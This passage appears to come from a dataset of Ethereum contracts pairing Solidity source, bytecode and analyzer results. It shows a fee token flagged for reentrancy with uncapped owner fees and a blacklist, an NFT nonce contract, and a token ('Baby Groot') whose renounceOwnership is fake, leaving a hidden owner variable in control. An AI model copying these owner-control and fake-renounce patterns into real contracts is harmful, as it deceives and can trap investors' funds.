function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610567578063dd62ed3e14610587578063ea1644d5146105cd578063f2fde38b146105ed57600080fd5b8063a2a957bb146104e2578063a9059cbb14610502578063bfd7928414610522578063c3c8cd801461055257600080fd5b80638f70ccf7116100d15780638f70ccf7146104605780638f9a55c01461048057806395d89b411461049657806398a5c315146104c257600080fd5b80637d1db4a5146103ff5780637f2feddc146104155780638da5cb5b1461044257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039557806370a08231146103aa578063715018a6146103ca57806374010ece146103df57600080fd5b8063313ce5671461031957806349bd5a5e146103355780636b999053146103555780636d8aa8f81461037557600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e35780632fd689e31461030357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611971565b61060d565b005b34801561020a57600080fd5b5060408051808201909152601d81527f5375737461696e61626c6520456e657267792047656e65726174696f6e00000060208201525b60405161024d9190611a36565b60405180910390f35b34801561026257600080fd5b50610276610271366004611a8b565b6106ac565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50670de0b6b3a76400005b60405190815260200161024d565b3480156102ef57600080fd5b506102766102fe366004611ab7565b6106c3565b34801561030f57600080fd5b506102d560185481565b34801561032557600080fd5b506040516009815260200161024d565b34801561034157600080fd5b506015546102a6906001600160a01b031681565b34801561036157600080fd5b506101fc610370366004611af8565b61072c565b34801561038157600080fd5b506101fc610390366004611b25565b610777565b3480156103a157600080fd5b506101fc6107bf565b3480156103b657600080fd5b506102d56103c5366004611af8565b61080a565b3480156103d657600080fd5b506101fc61082c565b3480156103eb57600080fd5b506101fc6103fa366004611b40565b6108a0565b34801561040b57600080fd5b506102d560165481565b34801561042157600080fd5b506102d5610430366004611af8565b60116020526000908152604090205481565b34801561044e57600080fd5b506000546001600160a01b03166102a6565b34801561046c57600080fd5b506101fc61047b366004611b25565b6108cf565b34801561048c57600080fd5b506102d560175481565b3480156104a257600080fd5b5060408051808201909152600381526253454760e81b6020820152610240565b3480156104ce57600080fd5b506101fc6104dd366004611b40565b610917565b3480156104ee57600080fd5b506101fc6104fd366004611b59565b610946565b34801561050e57600080fd5b5061027661051d366004611a8b565b610984565b34801561052e57600080fd5b5061027661053d366004611af8565b60106020526000908152604090205460ff1681565b34801561055e57600080fd5b506101fc610991565b34801561057357600080fd5b506101fc610582366004611b8b565b6109e5565b34801561059357600080fd5b506102d56105a2366004611c0f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d957600080fd5b506101fc6105e8366004611b40565b610a86565b3480156105f957600080fd5b506101fc610608366004611af8565b610ab5565b6000546001600160a01b031633146106405760405162461bcd60e51b815260040161063790611c48565b60405180910390fd5b60005b81518110156106a85760016010600084848151811061066457610664611c7d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a081611ca9565b915050610643565b5050565b60006106b9338484610b9f565b5060015b92915050565b60006106d0848484610cc3565b610722843361071d85604051806060016040528060288152602001611dc3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ff565b610b9f565b5060019392505050565b6000546001600160a01b031633146107565760405162461bcd60e51b815260040161063790611c48565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a15760405162461bcd60e51b815260040161063790611c48565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f457506013546001600160a01b0316336001600160a01b0316145b6107fd57600080fd5b4761080781611239565b50565b6001600160a01b0381166000908152600260205260408120546106bd90611273565b6000546001600160a01b031633146108565760405162461bcd60e51b815260040161063790611c48565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260040161063790611c48565b601655565b6000546001600160a01b031633146108f95760405162461bcd60e51b815260040161063790611c48565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161063790611c48565b601855565b6000546001600160a01b031633146109705760405162461bcd60e51b815260040161063790611c48565b600893909355600a91909155600955600b55565b60006106b9338484610cc3565b6012546001600160a01b0316336001600160a01b031614806109c657506013546001600160a01b0316336001600160a01b0316145b6109cf57600080fd5b60006109da3061080a565b9050610807816112f7565b6000546001600160a01b03163314610a0f5760405162461bcd60e51b815260040161063790611c48565b60005b82811015610a80578160056000868685818110610a3157610a31611c7d565b9050602002016020810190610a469190611af8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7881611ca9565b915050610a12565b50505050565b6000546001600160a01b03163314610ab05760405162461bcd60e51b815260040161063790611c48565b601755565b6000546001600160a01b03163314610adf5760405162461bcd60e51b815260040161063790611c48565b6001600160a01b038116610b445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610637565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610637565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610637565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610637565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610637565b60008111610deb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610637565b6000546001600160a01b03848116911614801590610e1757506000546001600160a01b03838116911614155b156110f857601554600160a01b900460ff16610eb0576000546001600160a01b03848116911614610eb05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610637565b601654811115610f025760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610637565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4457506001600160a01b03821660009081526010602052604090205460ff16155b610f9c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610637565b6015546001600160a01b038381169116146110215760175481610fbe8461080a565b610fc89190611cc4565b106110215760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610637565b600061102c3061080a565b6018546016549192508210159082106110455760165491505b80801561105c5750601554600160a81b900460ff16155b801561107657506015546001600160a01b03868116911614155b801561108b5750601554600160b01b900460ff165b80156110b057506001600160a01b03851660009081526005602052604090205460ff16155b80156110d557506001600160a01b03841660009081526005602052604090205460ff16155b156110f5576110e3826112f7565b4780156110f3576110f347611239565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113a57506001600160a01b03831660009081526005602052604090205460ff165b8061116c57506015546001600160a01b0385811691161480159061116c57506015546001600160a01b03848116911614155b15611179575060006111f3565b6015546001600160a01b0385811691161480156111a457506014546001600160a01b03848116911614155b156111b657600854600c55600954600d555b6015546001600160a01b0384811691161480156111e157506014546001600160a01b03858116911614155b156111f357600a54600c55600b54600d555b610a8084848484611480565b600081848411156112235760405162461bcd60e51b81526004016106379190611a36565b5060006112308486611cdc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a8573d6000803e3d6000fd5b60006006548211156112da5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610637565b60006112e46114ae565b90506112f083826114d1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133f5761133f611c7d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139357600080fd5b505afa1580156113a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cb9190611cf3565b816001815181106113de576113de611c7d565b6001600160a01b0392831660209182029290920101526014546114049130911684610b9f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143d908590600090869030904290600401611d10565b600060405180830381600087803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148d5761148d611513565b611498848484611541565b80610a8057610a80600e54600c55600f54600d55565b60008060006114bb611638565b90925090506114ca82826114d1565b9250505090565b60006112f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611678565b600c541580156115235750600d54155b1561152a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611553876116a6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115859087611703565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b49086611745565b6001600160a01b0389166000908152600260205260409020556115d6816117a4565b6115e084836117ee565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061165382826114d1565b82101561166f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116995760405162461bcd60e51b81526004016106379190611a36565b5060006112308486611d81565b60008060008060008060008060006116c38a600c54600d54611812565b92509250925060006116d36114ae565b905060008060006116e68e878787611867565b919e509c509a509598509396509194505050505091939550919395565b60006112f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b6000806117528385611cc4565b9050838110156112f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610637565b60006117ae6114ae565b905060006117bc83836118b7565b306000908152600260205260409020549091506117d99082611745565b30600090815260026020526040902055505050565b6006546117fb9083611703565b60065560075461180b9082611745565b6007555050565b600080808061182c606461182689896118b7565b906114d1565b9050600061183f60646118268a896118b7565b90506000611857826118518b86611703565b90611703565b9992985090965090945050505050565b600080808061187688866118b7565b9050600061188488876118b7565b9050600061189288886118b7565b905060006118a4826118518686611703565b939b939a50919850919650505050505050565b6000826118c6575060006106bd565b60006118d28385611da3565b9050826118df8583611d81565b146112f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610637565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080757600080fd5b803561196c8161194c565b919050565b6000602080838503121561198457600080fd5b823567ffffffffffffffff8082111561199c57600080fd5b818501915085601f8301126119b057600080fd5b8135818111156119c2576119c2611936565b8060051b604051601f19603f830116810181811085821117156119e7576119e7611936565b604052918252848201925083810185019188831115611a0557600080fd5b938501935b82851015611a2a57611a1b85611961565b84529385019392850192611a0a565b98975050505050505050565b600060208083528351808285015260005b81811015611a6357858101830151858201604001528201611a47565b81811115611a75576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9e57600080fd5b8235611aa98161194c565b946020939093013593505050565b600080600060608486031215611acc57600080fd5b8335611ad78161194c565b92506020840135611ae78161194c565b929592945050506040919091013590565b600060208284031215611b0a57600080fd5b81356112f08161194c565b8035801515811461196c57600080fd5b600060208284031215611b3757600080fd5b6112f082611b15565b600060208284031215611b5257600080fd5b5035919050565b60008060008060808587031215611b6f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ba057600080fd5b833567ffffffffffffffff80821115611bb857600080fd5b818601915086601f830112611bcc57600080fd5b813581811115611bdb57600080fd5b8760208260051b8501011115611bf057600080fd5b602092830195509350611c069186019050611b15565b90509250925092565b60008060408385031215611c2257600080fd5b8235611c2d8161194c565b91506020830135611c3d8161194c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbd57611cbd611c93565b5060010190565b60008219821115611cd757611cd7611c93565b500190565b600082821015611cee57611cee611c93565b500390565b600060208284031215611d0557600080fd5b81516112f08161194c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d605784516001600160a01b031683529383019391830191600101611d3b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbd57611dbd611c93565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d4a3cb933f1e3ed3b22399d2bb466637a1897dca384c73040be6a89201b3c7264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,482 |
0xc1c029457699da42b588da9d91679f7e3d8ab349 | pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Sale {
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole is Context {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor () internal {
}
modifier onlyOperator() {
require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OwnableOperatorRole is Ownable, OperatorRole {
function addOperator(address account) public onlyOwner {
_addOperator(account);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
}
contract ERC721SaleNonceHolder is OwnableOperatorRole {
mapping(bytes32 => uint256) public nonces;
IERC721Sale public previous;
constructor(IERC721Sale _previous) public {
previous = _previous;
}
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256) {
uint256 newNonce = nonces[getPositionKey(token, tokenId)];
if (newNonce != 0) {
return newNonce;
}
if (address(previous) == address(0x0)) {
return 0;
}
return previous.getNonce(token, tokenId);
}
function setNonce(IERC721 token, uint256 tokenId, uint256 nonce) public onlyOperator {
nonces[getPositionKey(token, tokenId)] = nonce;
}
function getPositionKey(IERC721 token, uint256 tokenId) pure public returns (bytes32) {
return keccak256(abi.encodePacked(token, tokenId));
}
}
| 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639870d7fe116100715780639870d7fe1461016f5780639e317f1214610195578063ac8a584a146101b2578063dd68c1e2146101d8578063e330a93514610204578063f2fde38b14610236576100b4565b80636d70f7ae146100b9578063715018a6146100f35780637c2b2e71146100fd57806389535803146101215780638da5cb5b1461015f5780638f32d59b14610167575b600080fd5b6100df600480360360208110156100cf57600080fd5b50356001600160a01b031661025c565b604080519115158252519081900360200190f35b6100fb610275565b005b610105610306565b604080516001600160a01b039092168252519081900360200190f35b61014d6004803603604081101561013757600080fd5b506001600160a01b038135169060200135610315565b60408051918252519081900360200190f35b6101056103e8565b6100df6103f7565b6100fb6004803603602081101561018557600080fd5b50356001600160a01b031661041b565b61014d600480360360208110156101ab57600080fd5b503561046e565b6100fb600480360360208110156101c857600080fd5b50356001600160a01b0316610480565b61014d600480360360408110156101ee57600080fd5b506001600160a01b0381351690602001356104d0565b6100fb6004803603606081101561021a57600080fd5b506001600160a01b038135169060208101359060400135610514565b6100fb6004803603602081101561024c57600080fd5b50356001600160a01b0316610584565b600061026f60018363ffffffff6105d416565b92915050565b61027d6103f7565b6102bc576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031681565b6000806002600061032686866104d0565b81526020019081526020016000205490508060001461034657905061026f565b6003546001600160a01b031661036057600091505061026f565b60035460408051638953580360e01b81526001600160a01b03878116600483015260248201879052915191909216916389535803916044808301926020929190829003018186803b1580156103b457600080fd5b505afa1580156103c8573d6000803e3d6000fd5b505050506040513d60208110156103de57600080fd5b5051949350505050565b6000546001600160a01b031690565b600080546001600160a01b031661040c61063b565b6001600160a01b031614905090565b6104236103f7565b610462576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b8161063f565b50565b60026020526000908152604090205481565b6104886103f7565b6104c7576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b81610687565b6040805160609390931b6bffffffffffffffffffffffff19166020808501919091526034808501939093528151808503909301835260549093019052805191012090565b61052461051f61063b565b61025c565b61055f5760405162461bcd60e51b815260040180806020018281038252603481526020018061087e6034913960400191505060405180910390fd5b806002600061056e86866104d0565b8152602081019190915260400160002055505050565b61058c6103f7565b6105cb576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b816106cf565b60006001600160a01b03821661061b5760405162461bcd60e51b81526004018080602001828103825260228152602001806108f36022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61065060018263ffffffff61076f16565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b61069860018263ffffffff6107f016565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166107145760405162461bcd60e51b81526004018080602001828103825260268152602001806108586026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61077982826105d4565b156107cb576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6107fa82826105d4565b6108355760405162461bcd60e51b81526004018080602001828103825260218152602001806108b26021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff1916905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204f70657261746f7220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a723158204f4d246bd734077225f0eda779bf2298e1d54df9bac86527e4cd7ab7f6af9a9e64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 1,483 |
0xfdEBD820A62b9F8082A37E426514A22ee87D8c67 | // SPDX-License-Identifier: MIT
// Telegram: https://t.me/BabyGrootEth
pragma solidity ^0.8.4;
uint256 constant TOTAL_SUPPLY = 700000000;
string constant TOKEN_NAME = "Baby Groot";
string constant TOKEN_SYMBOL = "BABYGROOT";
uint256 constant INITIAL_TAX=7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyGroot is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _rateLimit=TOTAL_SUPPLY;
uint256 private _tax=INITIAL_TAX;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
address private _owner;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_owner_=_msgSender()] = _rTotal;
_taxWallet=payable(_owner = _msgSender());
emit OwnershipTransferred(address(0), _msgSender());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function tax() public view returns (uint256){
return _tax;
}
function allowance(address from, address spender) public view override returns (uint256) {
return _allowances[from][spender];
}
address private _owner_;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner_== _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner=address(0);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
